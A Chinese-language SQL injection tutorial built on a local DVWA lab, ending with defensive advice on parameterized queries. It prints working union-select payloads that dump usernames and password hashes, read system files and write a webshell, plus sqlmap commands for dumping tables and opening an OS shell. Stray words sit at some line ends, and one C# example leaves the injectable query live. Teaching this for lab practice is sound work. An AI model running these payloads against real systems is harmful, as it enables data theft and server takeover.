所謂SQL注入,就是經過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。具體來講,它是利用現有應用程序,將(惡意的)SQL命令注入到後臺數據庫引擎執行的能力,它能夠經過在Web表單中輸入(惡意)SQL語句獲得一個存在安全漏洞的網站上的數據庫,而不是按照設計者意圖去執行SQL語句。好比先前的不少影視網站泄露VIP會員密碼大多就是經過WEB表單遞交查詢字符暴出的,這類表單特別容易受到SQL注入式攻擊.--百度百科之Sql注入php
那sql注入的原理是啥呢?html
簡單點說,你們都知道,咱們網站的一些數據都要通過數據庫去查詢,咱們只要找到服務器對某些某些請求缺乏校驗,就能找到漏洞
舉個例子:
Select *from TableA where id="B"這個是個很正常的一個sql查詢語句
注入的本質就是把用戶輸入的數據當作代碼去執行,這裏有兩個關鍵條件,一就是用戶能控制輸入,二就是本來程序要執行的代碼拼接了用戶輸入的數據
這裏假設B咱們能夠控制咱們可使代碼變成如下方式
Select *from TableA where id='';drop table TableA--''
顯而易見,若是數據庫執行了此條語句將會把表TableA給刪除了,帶來了不可預料的影響。
Sql注入漏洞的典型危害是能夠被用來獲取數據庫敏感數據(拖褲)java
sql注入都有哪些類型呢?
①.sql盲注,包括布爾盲注和時間注入。
②.sql回顯注入,包括報錯注入和union聯合查詢注入。咱們今天主要講的就是sql回顯注入。python
①.DVWA(Damn Vulnerable Web Application)是一個用來進行安全脆弱性鑑定的PHP/MySQL Web應用,旨在爲安全專業人員測試本身的專業技能和工具提供合法的環境,幫助web開發者更好的理解web應用安全防範的過程。
DVWA傳送門mysql
②.因爲dvwa是一個php和mysql的環境,故我使用了功能強大的建站集成軟件包XAMPP(Apache+MySQL+PHP+PERL)
具體的搭建流程有興趣的同窗能夠去下載來看看
DVWA+XAMPP搭建流程傳送門web
③.火狐hackbar插件
hackbar使用教程傳送門正則表達式
聲明:由於測試平臺數據庫爲mysql,因此接下來的測試語句所有爲mysql語句sql
①.首先咱們先把dvwa的安全模式設置爲low模式,以便於咱們進行測試。
shell
②.咱們選擇sql注入欄目,判斷是否有sql注入
在滲透一個web應用時咱們首先要了解業務,咱們先輸入一個正常的數字
數據庫
固然,咱們也能夠用咱們熟悉的postman來請求http
那咱們輸入數據時,web應用爲何能返回咱們須要的數據呢?
在座的各位都是這方面的老司機,對於web數據交互都很熟悉。
經過這個流程,咱們徹底能夠猜想下這個sql語句長什麼樣子。
select Firstname,Surname from 表 where userid=咱們輸入的id
那咱們如今猜想了sql語句,可是要怎麼去測試有沒有漏洞呢?
咱們發現當輸入數據時url是發生變化的。
咱們嘗試輸入1',web程序給咱們以下的回顯:
從回顯信息中咱們能夠看出,在1'附近有sql錯誤,那就證實了有可注入點,由於咱們輸入1時是正確的,可是輸入了1'卻出現了錯誤。
那咱們如何去測試驗證這個web程序的漏洞呢?如下是三種經常使用的注入POC(驗證性觀點測試)
當咱們輸入 1' or '1'='1 時,咱們發現,web程序回顯出一堆的數據:
咱們發現,這裏已經執行成功了,證實sql語句被正常執行了
③.讀取數據
那根據咱們剛纔講的sql注入流程,咱們判斷完sql注入後,咱們接下來即是要獲取數據
咱們都知道,sql中的引號是要閉合的,在sql注入中,常用註釋符,來構造閉合的語句,在mysql中註釋符後應加空格,不然會報錯。
在獲取數據以前,咱們還要作一件很重要的事,那就是肯定查詢的字段數
咱們輸入 1' order by 10-- ,web程序給咱們如下的回顯
證實了字段數必定小於10,那咱們如今如何去肯定字段數呢,咱們採用二分法,一步步去看字段數是爲幾。
咱們嘗試了幾個後,發現3仍是太大,那就是說明字段數爲2.
接下來咱們就要肯定sql注入的回顯點
咱們使用 xx' union select 1,2-- 語句來肯定回顯點
此時的sql語句應該是變做 select Firstname,Surname from 表 where userid='xx' union select 1,2--' 這樣Firstname,Surname顯示的數據即是咱們union查詢的數據
接下來咱們查看下數據庫的版本和數據庫存放的目錄
咱們也可使用 xx' union select user(),database()-- 語句獲取用戶名和數據庫名
既然咱們能查到這些信息,那麼咱們是否也能查詢到數據庫的全部信息呢?答案是確定的。
接下來咱們知道數據庫就可使用 xx' union select 1,table_name from information_schema.tables where table_schema='dvwa'-- 來查詢表名
知道了表名,咱們就可使用 xx' union select 1,column_name from information_schema.columns where table_name='user'-- 來查詢列名
咱們就能夠發現其中用戶名和密碼都爲敏感數據。咱們的目的就是要查詢出這兩個信息
接下來咱們就能夠查詢用戶名及密碼等敏感數據,咱們使用 xx' union select user,password from users-- 來查詢數據
咱們發現密碼是一串hash串,數了一下是32位,就極有多是md5加密,去用解密工具解密一下,就獲得了明文的密碼。
咱們不僅僅能夠獲取數據庫的敏感數據,咱們也能夠獲取系統的敏感數據,咱們使用 xx' union select 1,load_file("c:\windows\win.ini")--
固然,咱們都想把一個漏洞利用最大化,除了能獲取數據外,最理想的固然是控制服務器,最多見的就是寫入webshell,咱們上節課已經講過了webshell和一句話木馬
PHP一句話木馬:
接下來咱們要作的就是如何把這個一句話木馬寫入。咱們要寫入一句話木馬,就得知道應該寫入哪裏,這裏要知道web應用程序的物理路徑。經常使用的方法就是經過引起異常,致使應用報錯,爆出物理路徑。
xx' union select "xx","xx" into outfile "xx"--
xx' union select "
","webshell" into outfile "C:\xampp\htdocs\dvwa\vulnerabilities\sqli\1.php"--
咱們經過上節課講的中國菜刀進行訪問,就能夠進入文件管理了:
學到這裏,同窗們可能就清楚了整個流程,可是會有同窗問了,整個sql注入較爲複雜,能不能有工具進行自動化注入呢? 接下來咱們就咱們學習一款注入神器工具--sqlmap
①.支持的數據庫:MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase,SAP MaxDB,HSQLDB and Informix
支持的數據庫範圍極廣,大部分經常使用的數據庫都是支持的。
②.支持的參數位置:GET,POST or Cookie parameters or via the HTTP User-Agent request header
③.支持多種注入模式
基於布爾的盲注,便可以根據返回頁面判斷條件真假的注入。
基於時間的盲注,即不能根據頁面返回內容判斷任何信息,用條件語句查看時間延遲語句是否執行(即頁面返回時間是否增長)來判斷。
基於報錯注入,即頁面會返回錯誤信息,或者把注入的語句的結果直接返回在頁面中。
聯合查詢注入,可使用union的狀況下的注入。
堆查詢注入,能夠同時執行多條語句的執行時的注入。
備註:
Youtube上有人作的使用sqlmap的視頻:
http://www.youtube.com/user/inquisb/videos
http://www.youtube.com/user/stamparm/videos
使用sqlmap的實例文章:
http://www.kali.org.cn/thread-22844-1-1.html
http://www.javashuo.com/article/p-puopmlof-e.html
咱們學習一個命令窗口的使用,首先要調出他的幫助菜單,sqlmap的幫助菜單命令爲:
-h,--helper
-hh 這是更爲詳細的幫助菜單命令
sqlmap幫助菜單中文版傳送門
命令:python sqlmap.py -u "目標URL"
那這邊咱們就使用-u命令進行注入執行
python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low;PHPSESSID=u2mj5vt49529rn6oerk7o50515"
①.咱們首先來獲取下當前的用戶和數據庫名:
python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low;PHPSESSID=u2mj5vt49529rn6oerk7o50515" --current-user --current-db
②.接下來咱們根據剛纔的流程咱們獲取下表:
python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low;PHPSESSID=nf85n3culj7p9mnodog647lgn2" -D dvwa --tables
③.而後就是字段名:
python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low;PHPSESSID=nf85n3culj7p9mnodog647lgn2" -D dvwa -T users --columns
④.獲取用戶名和密碼:
python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low;PHPSESSID=nf85n3culj7p9mnodog647lgn2" -D dvwa -T users -C "user,password" --dump
使用-c指定字段 使用--dump獲取數據
他會自動幫咱們的數據下載成csv格式保存
⑤.咱們前面講了能夠上傳webshell,其實sqlmap也是能夠的
python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low;PHPSESSID=nf85n3culj7p9mnodog647lgn2" -D dvwa -T users -C "user,password" --os-shell
咱們也能夠用中國菜刀直接去連
接下來咱們把dvwa安全級別上升,改成Medium級別,咱們如今來看下sql注入測試界面有何變化?
咱們發現原來的輸入框改爲了下拉框,不是由咱們輸入而是讓咱們選擇。
咱們知道,數據的提交都是http請求,咱們先試着選擇1,而後打開谷歌開發者工具(F12),點擊提交,咱們能夠看到,請求由原來的get請求變成了post請求,參數不變。
這個時候咱們就發現,其實跟咱們以前差很少,咱們也能夠經過去改變參數。
咱們能夠經過一些抓包改包的工具去進行修改post參數。
這裏值得注意的是當咱們像簡單模式同樣注入sql語句xx' union select user(),database()--時,咱們會發現引號會被轉義符轉義掉,此時咱們直接去掉引號便可
咱們這裏換成postman請求http
那咱們也能夠用sqlmap
python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/" --data "id=1&Submit=Submit" -p "id" --cookie "security=medium;PHPSESSID=6lu0cd67q0m9s0vpck6mug2sl5" --current-user --current-db
接下來就跟咱們初級的作法同樣了,這裏就不一一贅述。
咱們再把安全級別調成High,咱們看下界面變成什麼樣?
咱們能夠清晰的看到,界面變成了點擊彈出一個窗口,在彈出的窗口處輸入數據,提交後回顯到原來的界面,咱們用low模式下的注入方法嘗試,沒有任何問題,都是能夠的。
可是咱們看看在sqlmap下能夠嘛,咱們發現不在同一個頁面,致使不能夠,那sqlmap有沒有其餘命令能夠支持這個的呢?
python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/session-input.php/" --data "id=1&Submit=Submit" -p "id" --cookie "security=high;PHPSESSID=6lu0cd67q0m9s0vpck6mug2sl5" --second-url "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/" --current-user --current-db
應用的異常信息應該給出儘量少的提示(關閉debug調試模式),最好使用自定義的錯誤信息對原始錯誤信息進行包裝。
部署硬件web防火牆(WAF),可有效防止SQL注入等攻擊。
永遠不要信任用戶的輸入。對用戶的輸入進行校驗,能夠經過正則表達式,或限制長度,對單引號與及特殊字符進行轉換等。從以上的sql注入攻擊實戰咱們能夠發現,大部分的sql注入都須要填入一些特殊字符,好比引號和等號或者or等關鍵字
這個是咱們平臺的登陸界面,就是採用了消除特殊字符的方法,一旦有特殊字符,便返回輸入不合法,從根源斷絕sql注入。
儘可能不要使用動態拼裝sql,可使用參數化的sql或者直接使用存儲過程進行數據查詢存取.在使用參數化查詢的狀況下,數據庫服務器不會將參數的內容視爲SQL指令的一部份來處理,而是在數據庫完成SQL指令的編譯後,才套用參數運行,所以就算參數中含有指令,也不會被數據庫運行。Access、SQL Server、MySQL、SQLite等經常使用數據庫都支持參數化查詢。
C# sqlservers //string sql = "select *from User_Info where User_SN=@UserNO and User_Pwd=@pwd and Grade_SN=@sel"; //SqlParameter[] pars ={ // new SqlParameter("@UserNO",SqlDbType.NVarChar,15), // new SqlParameter("@pwd",SqlDbType.NVarChar,15), // new SqlParameter("@sel",SqlDbType.NVarChar,15) // }; //pars[0].Value = UserNO; //pars[1].Value = pwd; //pars[2].Value = sel; string sql =string.Format(@"select *from User_Info where User_SN={0} and User_Pwd={1} and Grade_SN={2}",UserNO,pwd,sel); java MySQL stmt.executeUpdate("insert into tb_name (col1,col2,col2,col4) values ('"+var1+"','"+var2+"',"+var3+",'"+var4+"')"); perstmt = con.prepareStatement("insert into tb_name (col1,col2,col2,col4) values (?,?,?,?)"); perstmt.setString(1,var1); perstmt.setString(2,var2); perstmt.setString(3,var3); perstmt.setString(4,var4); perstmt.executeUpdate();